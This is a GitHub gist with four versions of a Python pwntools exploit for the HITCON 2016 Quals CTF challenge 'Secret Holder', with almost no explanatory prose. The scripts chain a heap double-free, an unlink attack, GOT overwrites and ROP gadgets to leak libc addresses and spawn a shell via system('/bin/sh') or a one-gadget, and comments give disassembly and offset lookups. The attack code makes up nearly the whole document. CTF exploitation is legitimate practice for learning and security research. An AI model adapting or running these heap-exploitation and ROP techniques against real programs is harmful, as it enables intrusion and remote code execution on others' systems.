Skip to content

Instantly share code, notes, and snippets.

@K-atc
Last active October 28, 2016 03:51
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save K-atc/0b48c901d705ae9bdbda40085d5c87f2 to your computer and use it in GitHub Desktop.
Save K-atc/0b48c901d705ae9bdbda40085d5c87f2 to your computer and use it in GitHub Desktop.
HITCON 2016 Quals - Secret Holder writeup
from pwn import *
from hexdump import *
import os
# ref. http://shift-crops.hatenablog.com/entry/2016/10/11/233559#Secret-Holder-Pwn-100
# ref. http://bruce30262.logdown.com/posts/976498-hitcon-ctf-2016-quals-secret-holder
# context.log_level = 'debug'
REMOTE = False
SOCAT = False
r = None
if len(sys.argv) == 2:
if sys.argv[1] == "r":
REMOTE = True
if sys.argv[1] == "s":
SOCAT = True
BIN = "./SecretHolder"
PATCHED_BIN = BIN + ".patched"
e = ELF(BIN)
small = 1
big = 2
huge = 3
big_secret = 0x6020a0
huge_secret = 0x6020a8
small_secret = 0x6020b0
holding_big_secret = 0x6020b8
holding_huge_secret = 0x6020bc
holding_smalll_secret = 0x6020c0
addr = {
"puts": 0x4006c0,
# "sh": 0x4020ef + 7, # not loaded to memory
"mygets": 0x4009f9,
"main": 0x400cc2,
"exit": 0x400770,
}
got = {
"__libc_start_main": e.got["__libc_start_main"],
"__stack_chk_fail": e.got["__stack_chk_fail"],
"memset": e.got["memset"],
"read": e.got["read"],
}
offset = {}
if len(sys.argv) == 2 and sys.argv[1] == "r":
offset = {
"system": 0x45380,
"/bin/sh": 0x18c58b,
"__libc_start_main": 0x20740,
}
else:
offset = {
"system": 0x3f4d0,
"/bin/sh": 0x161359,
"__libc_start_main": 0x201a0,
}
rop = {
"ret": 0x400a26,
"pop rdi; ret": 0x00400e03,
}
def keep(no, secret):
r.recvuntil("3. Renew secret\n")
r.sendline("1")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no))
r.recvuntil("Tell me your secret: ")
r.sendline(secret)
def wipe(no):
r.recvuntil("3. Renew secret\n")
r.sendline("2")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no)) # free()
def renew(no, secret):
r.recvuntil("3. Renew secret\n")
r.sendline("3")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no))
r.recvuntil("Tell me your secret: ")
r.send(secret)
if not os.path.exists(PATCHED_BIN):
e = ELF(BIN)
e.asm(0x400cb1, 'mov edi,0xffffff')
e.save(PATCHED_BIN)
os.system("chmod +x %s" % PATCHED_BIN)
log.info("patched binary")
exit()
if REMOTE:
# remote server is down
r = remote("52.68.31.177", 5566)
if SOCAT:
r = remote("localhost", 1025)
else:
r = process(PATCHED_BIN)
keep(huge, "") # mmap()
wipe(huge) # free()
"""double-free"""
keep(small, "small")
wipe(small) # first free(S)
keep(huge, "huge = small") # sbrk(), make H
wipe(small) # second free(S)
# raw_input('Press Enter to continue: ') # break point
"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
# P2
p64(0), # prev_size
p64(0x21), # size
p64(small_secret - 0x18), # fd
p64(small_secret - 0x10), # bk
# P
p64(0x20), # prev_size
p64(0x90), # size
'B' * 0x80,
p64(0x90), # prev_size
p64(0x91), # size
'C' * 0x80,
p64(0x90), # prev_size
p64(0x91), # size
]))
wipe(big) # free(P) => unlink atack (X = X-0x18)
"""GOT overwrite"""
# NOTE: stdout = huge_secret-0x18
renew(small, ''.join([ # 0x0x6020b0-0x18 (0x602098):
'\0' * 0x8, # (padding)
p64(got["memset"]), # big_secret
p64(0), # huge_secret (not used in this exploit)
p64(got["__stack_chk_fail"]), # small_secret
p32(1) * 3 # holding_{big,huge,small}_secret
]))
renew(small, p64(rop["ret"])) # stack_check_fail() <- "function(){return};"
renew(big, p64(addr["mygets"])) # memset() <- mygets()
# renew(big, p64(addr["exit"])) # memset() <- mygets()
# raw_input('Press Enter to continue: ') # break point
r.recvuntil("3. Renew secret\n")
r.send(''.join([
'\0' * (0x10 + 8), # (1), +8 = old $rbp
p64(rop["pop rdi; ret"]), # rdi = argument of puts()
p64(got["__libc_start_main"]), # arg
p64(addr["puts"]), # puts address of __libc_start_main()
# p64(got["memset"]), # NOT WORKS;( Why?
# p64(addr["puts"]), # NOT WORKS;(
p64(addr["main"]), # recall main()
]))
ret = r.recvline()[:-1] # trim '\n'
# print "%r" % ret
print "__libc_start_main = %#x" % u64(ret.ljust(8, '\0'))
r.recvuntil("3. Renew secret\n")
r.send(''.join([
'\0' * (0x10 + 8), # (1), +8 = old $rbp
p64(rop["pop rdi; ret"]), # rdi = argument of puts()
p64(got["read"]),
p64(addr["puts"]),
p64(addr["main"]), # recall main()
]))
ret = r.recvline()[:-1] # trim '\n'
# print "%r" % ret
print "read = %#x" % u64(ret.ljust(8, '\0'))
print "[*] libc function address leaking done"
from pwn import *
from hexdump import *
import os
# ref. http://shift-crops.hatenablog.com/entry/2016/10/11/233559#Secret-Holder-Pwn-100
# context.log_level = 'debug'
REMOTE = False
r = None
if len(sys.argv) == 2 and sys.argv[1] == "r":
REMOTE = True
BIN = "./SecretHolder"
PATCHED_BIN = BIN + ".patched"
e = ELF(BIN)
small = 1
big = 2
huge = 3
big_secret = 0x6020a0
huge_secret = 0x6020a8
small_secret = 0x6020b0
holding_big_secret = 0x6020b8
holding_huge_secret = 0x6020bc
holding_smalll_secret = 0x6020c0
"""objdump -d SecretHolder | grep @plt\>:
00000000004006b0 <free@plt>:
00000000004006c0 <puts@plt>:
00000000004006d0 <__stack_chk_fail@plt>:
00000000004006e0 <memset@plt>:
00000000004006f0 <alarm@plt>:
0000000000400700 <read@plt>:
0000000000400710 <__libc_start_main@plt>:
0000000000400720 <calloc@plt>:
0000000000400730 <signal@plt>:
0000000000400740 <__gmon_start__@plt>:
0000000000400750 <setvbuf@plt>:
0000000000400760 <atoi@plt>:
0000000000400770 <exit@plt>:
"""
"""
[katc@K_atc SecretHolder]$ strings -tx SecretHolder | grep sh$
20ef .gnu.hash
[katc@K_atc SecretHolder]$ strings -tx libc.so.6_375198810bb39e6593a968fcbcf6556789026743 | grep sh$
11e62 inet6_opt_finish
12d5b _IO_wdefault_finish
12f86 bdflush
13302 _IO_fflush
13379 _IO_file_finish
159c3 tcflush
15c53 _IO_default_finish
189985 Trailing backslash
18a538 sys/net/ash
18c58b /bin/sh
18e0c2 /bin/csh
1c5e11 .gnu.hash
1c611b .gnu.warning.__compat_bdflush
"""
"""
[katc@K_atc SecretHolder]$ objdump -Mintel -d SecretHolder | egrep "call.+read" -B 4
... snipped ...
--
4009f9: ba 80 1a 06 00 mov edx,0x61a80
4009fe: 48 89 c6 mov rsi,rax
400a01: bf 00 00 00 00 mov edi,0x0
400a06: b8 00 00 00 00 mov eax,0x0
400a0b: e8 f0 fc ff ff call 400700 <read@plt>
--
... snipped ...
"""
addr = {
"puts": 0x4006c0,
# "sh": 0x4020ef + 7, # not loaded to memory
"mygets": 0x4009f9,
"main": 0x400cc2,
"exit": 0x400770,
}
"""
gdb-peda$ x 0x4006e0
0x4006e0 <memset@plt>:
jmp QWORD PTR [rip+0x20194a] # 0x602030 <memset@got.plt>
"""
got = {
"__libc_start_main": e.got["__libc_start_main"],
"__stack_chk_fail": e.got["__stack_chk_fail"],
"memset": e.got["memset"],
}
"""remote
readelf -s libc.so.6_375198810bb39e6593a968fcbcf6556789026743 | grep system@
584: 0000000000045380 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1351: 0000000000045380 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
[katc@K_atc SecretHolder]$ readelf -s libc.so.6_375198810bb39e6593a968fcbcf6556789026743 | grep start_main
2118: 0000000000020740 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
"""
"""local
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep " system$"
5821: 000000000003f4d0 45 FUNC WEAK DEFAULT 13 system
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep start_main
2120: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5
6322: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main
[katc@K_atc SecretHolder]$ strings -tx /usr/lib/libc.so.6 | grep /bin/sh$
161359 /bin/sh
"""
offset = {}
if len(sys.argv) == 2 and sys.argv[1] == "r":
offset = {
"system": 0x45380,
"/bin/sh": 0x18c58b,
"__libc_start_main": 0x20740,
}
else:
offset = {
"system": 0x3f4d0,
"/bin/sh": 0x161359,
"__libc_start_main": 0x201a0,
}
"""rop
gdb-peda$ asmsearch "pop rdi;ret"
Searching for ASM code: 'pop rdi;ret' in: binary ranges
0x00400e03 : (5fc3) pop rdi; ret
"""
rop = {
"ret": 0x400691,
"pop rdi; ret": 0x00400e03,
}
def keep(no, secret):
r.recvuntil("3. Renew secret\n")
r.sendline("1")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no))
r.recvuntil("Tell me your secret: ")
r.sendline(secret)
def wipe(no):
r.recvuntil("3. Renew secret\n")
r.sendline("2")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no)) # free()
def renew(no, secret):
r.recvuntil("3. Renew secret\n")
r.sendline("3")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no))
r.recvuntil("Tell me your secret: ")
r.send(secret)
if not os.path.exists(PATCHED_BIN):
e = ELF(BIN)
e.asm(0x400cb1, 'mov edi,0xffffff')
e.save(PATCHED_BIN)
os.system("chmod +x %s" % PATCHED_BIN)
log.info("patched binary")
exit()
if REMOTE:
# remote server is down
r = remote("52.68.31.177", 5566)
else:
r = process(PATCHED_BIN)
keep(huge, "") # mmap()
wipe(huge) # free()
"""chunks
ps = prev_size
-- H ---- -- S ------
(ps = ?) (ps = ?)
size= size = 0x30
"huge" "small"
-----------
-- B ------
(ps = 0x30)
size = 0xfa0 | 1
"big"
--------- -----------
"""
"""double-free"""
keep(small, "small")
wipe(small) # first free(S)
keep(huge, "huge = small") # sbrk(), make H
wipe(small) # second free(S)
"""fastbins chunks"""
keep(small, "s"*8)
keep(big, "b"*8)
# raw_input('Press Enter to continue: ')
renew(huge, ''.join([
"S" * 0x28, # content of S
p64(0x30 | 1), # fake size for B; there're two 30 bytes chunks
"B" * 0x28, # content of B
p64(0x1919 | 1) # fake in-use chunk size (decide "size" by yourself)
]))
wipe(small) # fastbins -> small
wipe(big) # fastbins -> small -> big
"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
'\0' * 0x30, # "small" is allocated to huge+0x30 (fastbins is LIFO)
# we can manipulate "small" chunk header with huge
# P2
p64(0), # prev_size
p64(0xfa0 | 1), # size
p64(small_secret - 0x18), # fd
p64(small_secret - 0x10), # bk
'\0' * (0xfa0 - 0x20),
# P # "big" is allocated to huge+0x30+0xfa0 (under B)
p64(0xfa0), # prev_size
p64(0xfb0 & ~1), # size
]))
wipe(big) # free(P) => unlink atack (X = X-0x18)
"""GOT overwrite"""
# NOTE: stdout = huge_secret-0x18
renew(small, ''.join([ # 0x0x6020b0-0x18 (0x602098):
'\0' * 0x8, # (padding)
p64(got["memset"]), # big_secret
p64(0), # huge_secret (not used in this exploit)
p64(got["__stack_chk_fail"]), # small_secret
p32(1) * 3 # holding_{big,huge,small}_secret
]))
renew(small, p64(rop["ret"])) # stack_check_fail() <- "function(){return};"
renew(big, p64(addr["mygets"])) # memset() <- mygets()
# renew(big, p64(addr["exit"])) # memset() <- mygets()
"""stack smashing"""
"""
main:
0000000000400cc3 mov rbp, rsp
0000000000400cc6 sub rsp, 0x20
...
0000000000400d15 lea rax, qword [ss:rbp+var_10] (1)
0000000000400d19 mov edx, 0x4 ; argument "len" for method j_memset
0000000000400d1e mov esi, 0x0 ; argument "c" for method j_memset
0000000000400d23 mov rdi, rax ; argument "b" for method j_memset
0000000000400d26 call j_memset
"""
r.recvuntil("3. Renew secret\n")
# raw_input('Press Enter to continue: ')
r.send(''.join([
'\0' * (0x10 + 8), # (1), +8 = old $rbp
p64(rop["pop rdi; ret"]), # rdi = argument of puts()
p64(got["__libc_start_main"]), # arg
p64(addr["puts"]), # puts address of __libc_start_main()
p64(addr["main"]), # recall main()
]))
ret = r.recvline()[:-1] # trim '\n'
# print "%r" % ret
libc_base_addr = u64(ret + '\0' * (8 - len(ret)))
libc_base_addr -= offset["__libc_start_main"]
print "libc base address = %#x" % libc_base_addr
"""launch shell"""
r.send(''.join([
'\0' * 0x18,
p64(rop["pop rdi; ret"]),
p64(libc_base_addr + offset["/bin/sh"]),
p64(libc_base_addr + offset["system"]),
p64(addr["exit"]),
])) # system("sh")
r.interactive()
from pwn import *
from hexdump import *
import os
# ref. http://shift-crops.hatenablog.com/entry/2016/10/11/233559#Secret-Holder-Pwn-100
# ref. http://bruce30262.logdown.com/posts/976498-hitcon-ctf-2016-quals-secret-holder
# context.log_level = 'debug'
REMOTE = False
SOCAT = False
r = None
if len(sys.argv) == 2:
if sys.argv[1] == "r":
REMOTE = True
if sys.argv[1] == "s":
SOCAT = True
BIN = "./SecretHolder"
PATCHED_BIN = BIN + ".patched"
e = ELF(BIN)
small = 1
big = 2
huge = 3
big_secret = 0x6020a0
huge_secret = 0x6020a8
small_secret = 0x6020b0
holding_big_secret = 0x6020b8
holding_huge_secret = 0x6020bc
holding_smalll_secret = 0x6020c0
addr = {
"puts": 0x4006c0,
# "sh": 0x4020ef + 7, # not loaded to memory
"mygets": 0x4009f9,
"main": 0x400cc2,
"exit": 0x400770,
}
got = {
"__libc_start_main": e.got["__libc_start_main"],
"__stack_chk_fail": e.got["__stack_chk_fail"],
"memset": e.got["memset"],
}
offset = {}
if len(sys.argv) == 2 and sys.argv[1] == "r":
offset = {
"system": 0x45380,
"/bin/sh": 0x18c58b,
"__libc_start_main": 0x20740,
}
else:
offset = {
"system": 0x3f4d0,
"/bin/sh": 0x161359,
"__libc_start_main": 0x201a0,
}
rop = {
"ret": 0x400a26,
"pop rdi; ret": 0x00400e03,
}
def keep(no, secret):
r.recvuntil("3. Renew secret\n")
r.sendline("1")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no))
r.recvuntil("Tell me your secret: ")
r.sendline(secret)
def wipe(no):
r.recvuntil("3. Renew secret\n")
r.sendline("2")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no)) # free()
def renew(no, secret):
r.recvuntil("3. Renew secret\n")
r.sendline("3")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no))
r.recvuntil("Tell me your secret: ")
r.send(secret)
if not os.path.exists(PATCHED_BIN):
e = ELF(BIN)
e.asm(0x400cb1, 'mov edi,0xffffff')
e.save(PATCHED_BIN)
os.system("chmod +x %s" % PATCHED_BIN)
log.info("patched binary")
exit()
if REMOTE:
# remote server is down
r = remote("52.68.31.177", 5566)
if SOCAT:
r = remote("localhost", 1025)
else:
r = process(PATCHED_BIN)
keep(huge, "") # mmap()
wipe(huge) # free()
"""double-free"""
keep(small, "small")
wipe(small) # first free(S)
keep(huge, "huge = small") # sbrk(), make H
wipe(small) # second free(S)
# raw_input('Press Enter to continue: ') # break point
"""unlink attack"""
# X = small_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
# P2
p64(0), # prev_size
p64(0x21), # size
p64(small_secret - 0x18), # fd
p64(small_secret - 0x10), # bk
# P
p64(0x20), # prev_size
p64(0x90), # size
'B' * 0x80,
p64(0x90), # prev_size
p64(0x91), # size
'C' * 0x80,
p64(0x90), # prev_size
p64(0x91), # size
]))
wipe(big) # free(P) => unlink atack (X = X-0x18)
"""GOT overwrite"""
# NOTE: stdout = huge_secret-0x18
renew(small, ''.join([ # 0x0x6020b0-0x18 (0x602098):
'\0' * 0x8, # (padding)
p64(got["memset"]), # big_secret
p64(0), # huge_secret (not used in this exploit)
p64(got["__stack_chk_fail"]), # small_secret
p32(1) * 3 # holding_{big,huge,small}_secret
]))
renew(small, p64(rop["ret"])) # stack_check_fail() <- "function(){return};"
renew(big, p64(addr["mygets"])) # memset() <- mygets()
# renew(big, p64(addr["exit"])) # memset() <- mygets()
# raw_input('Press Enter to continue: ') # break point
r.recvuntil("3. Renew secret\n")
r.send(''.join([
'\0' * (0x10 + 8), # (1), +8 = old $rbp
p64(rop["pop rdi; ret"]), # rdi = argument of puts()
p64(got["__libc_start_main"]), # arg
p64(addr["puts"]), # puts address of __libc_start_main()
p64(addr["main"]), # recall main()
# p64(0x400ce3), # NG: need `mov rbp, rsp` because `rbp` is 0; to avoid SIGSEGV at setvbuf in set_alarm()
]))
ret = r.recvline()[:-1] # trim '\n'
libc_base_addr = u64(ret.ljust(8, '\0'))
libc_base_addr -= offset["__libc_start_main"]
print "libc base address = %#x" % libc_base_addr
# raw_input('Press Enter to continue: ')
"""launch shell"""
r.recvuntil("3. Renew secret\n")
r.send(''.join([
'\0' * 0x18,
p64(rop["pop rdi; ret"]),
p64(libc_base_addr + offset["/bin/sh"]),
p64(libc_base_addr + offset["system"]),
p64(addr["exit"]),
])) # system("sh")
r.interactive()
from pwn import *
from hexdump import *
import os
# context.log_level = 'debug'
REMOTE = False
SOCAT = False
r = None
if len(sys.argv) == 2:
if sys.argv[1] == "r":
REMOTE = True
if sys.argv[1] == "s":
SOCAT = True
BIN = "./SecretHolder"
PATCHED_BIN = BIN + ".patched"
e = ELF(BIN)
small = 1
big = 2
huge = 3
big_secret = 0x6020a0
huge_secret = 0x6020a8
small_secret = 0x6020b0
holding_big_secret = 0x6020b8
holding_huge_secret = 0x6020bc
holding_smalll_secret = 0x6020c0
addr = {
"puts": 0x4006c0,
# "sh": 0x4020ef + 7, # not loaded to memory
"mygets": 0x4009f9,
"main": 0x400cc2,
"exit": 0x400770,
}
got = {
"__libc_start_main": e.got["__libc_start_main"],
"__stack_chk_fail": e.got["__stack_chk_fail"],
"memset": e.got["memset"],
"free": e.got["free"],
"puts": e.got["puts"],
}
"""One-gadget
% objdump -d /usr/lib/libc-2.24.so | grep 161359 -A 8 -B 8 | grep execve -B 8
3f3aa: 48 8b 05 ef 8a 35 00 mov rax,QWORD PTR [rip+0x358aef] # 397ea0 <_DYNAMIC+0x340>
3f3b1: 48 8d 3d a1 1f 12 00 lea rdi,[rip+0x121fa1] # 161359 <_nl_POSIX_name+0x154>
3f3b8: 48 8d 74 24 30 lea rsi,[rsp+0x30]
3f3bd: c7 05 99 b0 35 00 00 mov DWORD PTR [rip+0x35b099],0x0 # 39a460 <lock>
3f3c4: 00 00 00
3f3c7: c7 05 93 b0 35 00 00 mov DWORD PTR [rip+0x35b093],0x0 # 39a464 <sa_refcntr>
3f3ce: 00 00 00
3f3d1: 48 8b 10 mov rdx,QWORD PTR [rax]
3f3d4: e8 97 90 07 00 call b8470 <execve>
--
b8a23: 49 8d 7d 10 lea rdi,[r13+0x10]
b8a27: 48 8d 14 c5 00 00 00 lea rdx,[rax*8+0x0]
b8a2e: 00
b8a2f: 48 83 c6 08 add rsi,0x8
b8a33: e8 28 b2 fc ff call 83c60 <memcpy@GLIBC_2.2.5>
b8a38: 48 8d 3d 1a 89 0a 00 lea rdi,[rip+0xa891a] # 161359 <_nl_POSIX_name+0x154>
b8a3f: 4c 89 e2 mov rdx,r12
b8a42: 4c 89 ee mov rsi,r13
b8a45: e8 26 fa ff ff call b8470 <execve>
--
d67d0: 48 8d 3d 4a c4 08 00 lea rdi,[rip+0x8c44a] # 162c21 <__libc_version+0xd1>
d67d7: e8 b4 ee f5 ff call 35690 <unsetenv>
d67dc: 8b 7c 24 60 mov edi,DWORD PTR [rsp+0x60]
d67e0: e8 fb 52 00 00 call dbae0 <__close>
d67e5: 48 8b 05 b4 16 2c 00 mov rax,QWORD PTR [rip+0x2c16b4] # 397ea0 <_DYNAMIC+0x340>
d67ec: 48 8d 74 24 70 lea rsi,[rsp+0x70]
d67f1: 48 8d 3d 61 ab 08 00 lea rdi,[rip+0x8ab61] # 161359 <_nl_POSIX_name+0x154>
d67f8: 48 8b 10 mov rdx,QWORD PTR [rax]
d67fb: e8 70 1c fe ff call b8470 <execve>
"""
offset = {}
if len(sys.argv) == 2 and sys.argv[1] == "r":
offset = {
"system": 0x45380,
"/bin/sh": 0x18c58b,
"__libc_start_main": 0x20740,
}
else:
offset = {
"system": 0x3f4d0,
"/bin/sh": 0x161359,
"__libc_start_main": 0x201a0,
# "One-gadget": 0xb8a38, # $r12 == 0 && r13 == 0
# "One-gadget": 0xd67ec, # *($rsp+0x70) == 0 && *$rax == 0
"One-gadget": 0xd67e5, # *($rsp+0x70) == 0 && *$rax == 0
}
rop = {
"ret": 0x400a26,
"pop rdi; ret": 0x00400e03,
}
def keep(no, secret):
r.recvuntil("3. Renew secret\n")
r.sendline("1")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no))
r.recvuntil("Tell me your secret: ")
r.sendline(secret)
def wipe(no):
r.recvuntil("3. Renew secret\n")
r.sendline("2")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no)) # free()
def renew(no, secret):
r.recvuntil("3. Renew secret\n")
r.sendline("3")
r.recvuntil("3. Huge secret\n")
r.sendline(str(no))
r.recvuntil("Tell me your secret: ")
r.send(secret)
if not os.path.exists(PATCHED_BIN):
e = ELF(BIN)
e.asm(0x400cb1, 'mov edi,0xffffff')
e.save(PATCHED_BIN)
os.system("chmod +x %s" % PATCHED_BIN)
log.info("patched binary")
exit()
if REMOTE:
# remote server is down
r = remote("52.68.31.177", 5566)
if SOCAT:
r = remote("localhost", 1025)
else:
r = process(PATCHED_BIN)
keep(huge, "") # mmap()
wipe(huge) # free()
"""double-free"""
keep(small, "small")
wipe(small) # first free(S)
keep(huge, "huge = small") # sbrk(), make H
wipe(small) # second free(S)
# raw_input('Press Enter to continue: ') # break point
"""unlink attack"""
# X = huge_secret
keep(small, "s"*8)
keep(big, "b"*8)
renew(huge, ''.join([
# P
p64(0), # prev_size
p64(0x21), # size
p64(huge_secret - 0x18), # fd
p64(huge_secret - 0x10), # bk
# P2
p64(0x20), # prev_size
p64(0x90), # size
'B' * 0x80, # <- big_secret
p64(0x90), # prev_size
p64(0x91), # size
'C' * 0x80,
p64(0x90), # prev_size
p64(0x91), # size
]))
# raw_input('Press Enter to continue: ') # break point
wipe(big) # free(P2) => unlink atack (X = X-0x18)
"""GOT overwrite"""
# NOTE: stdout = huge_secret-0x18
renew(huge, ''.join([ # 0x0x6020b0-0x18 (0x602098):
'\0' * 0x10, # (padding)
p64(0), # big_secret
p64(small_secret), # huge_secret
p64(got["free"]), # small_secret
p32(1) * 3 # holding_{big,huge,small}_secret
]))
renew(small, p64(addr["puts"])) # puts(__libc_start_main) <- free(small)
# raw_input('Press Enter to continue: ') # break point
"""leak libc base address"""
renew(huge, ''.join([
p64(got["__libc_start_main"])
]))
wipe(small)
ret = r.recvline()[:-1] # trim '\n'
libc_base_addr = u64(ret.ljust(8, '\0'))
libc_base_addr -= offset["__libc_start_main"]
print "libc base address = %#x" % libc_base_addr
# raw_input('Press Enter to continue: ')
"""launch shell"""
# r.recvuntil("3. Renew secret\n")
renew(huge, ''.join([
p64(got["puts"]), # small_secret
p32(1) * 3,
]))
# raw_input('Press Enter to continue: ')
renew(small, p64(libc_base_addr + offset["One-gadget"]))
# renew(small, p64(addr["exit"]))
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment